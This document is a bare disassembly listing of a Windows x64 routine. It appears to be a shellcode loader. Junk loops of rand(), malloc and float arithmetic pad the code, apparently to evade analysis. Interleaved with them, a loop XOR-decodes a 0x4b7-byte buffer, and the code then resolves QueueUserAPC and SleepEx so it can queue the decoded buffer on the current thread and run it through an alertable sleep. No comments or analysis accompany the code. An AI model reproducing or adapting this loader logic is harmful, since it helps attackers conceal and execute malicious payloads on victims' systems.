shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x658]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x850]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x650]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x1e
jle 0x140002919
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x4a
jle 0x14000290a
mov dword [rbp + 0x850], 0
jmp 0x140002aec
mov dword [rbp + 0x84c], 0
jmp 0x140002ad8
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call fcn.1400041b0
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x648]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x1e
jle 0x140002a1f
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x4a
jle 0x140002a10
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x85c], 0
jmp 0x140002d83
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x85c]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x864]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x64c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x64c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x64c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x848], 0
jmp 0x140002c89
mov dword [rbp + 0x844], 0
jmp 0x140002c75
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x848]
cdqe
imul rcx, rax, 0x12c
mov rax, qword [rbp + 0x678]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x848]
cdqe
imul rcx, rax, 0x12c
mov rax, qword [rbp + 0x670]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x4a
jle 0x140002bc4
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x55
jle 0x140002bb5
mov dword [rbp + 0x848], 0
jmp 0x140002d42
mov dword [rbp + 0x844], 0
jmp 0x140002d2e
mov eax, dword [rbp + 0x848]
cdqe
imul rdx, rax, 0x12c
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x844]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x848]
cdqe
imul rdx, rax, 0x12c
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x844]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x848]
cdqe
imul rdx, rax, 0x12c
mov rax, qword [rbp + 0x668]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x844]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x4a
jle 0x140002cb1
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x55
jle 0x140002ca5
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x85c], 1
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x4b6
jle 0x140002873
mov ecx, 0x520
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x840], 0
jmp 0x140002e43
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x147
jle 0x140002dba
mov dword [rbp + 0x840], 0
jmp 0x140002f6f
mov dword [rbp + 0x684], 0
jmp 0x140002f51
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x684]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002f4a
mov eax, dword [rbp + 0x684]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x680], xmm0
mov eax, dword [rbp + 0x840]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rdx, rax
mov eax, dword [rbp + 0x684]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x684]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movss xmm0, dword [rbp + 0x680]
movss dword [rax], xmm0
add dword [rbp + 0x840], 1
mov eax, 0x147
sub eax, dword [rbp + 0x840]
cmp dword [rbp + 0x684], eax
jl 0x140002e71
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x147
jle 0x140002e62
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov ecx, 0x1030
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x83c], 0
jmp 0x140003082
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065f8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm1, qword [0x140006600]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x205
jle 0x140003034
mov dword [rbp + 0x83c], 0
jmp 0x1400030e9
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x83c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movq xmm1, qword [0x140006610]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x205
jle 0x14000309a
mov eax, 0
movups xmm6, xmmword [rbp + 0x8b0]
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
ret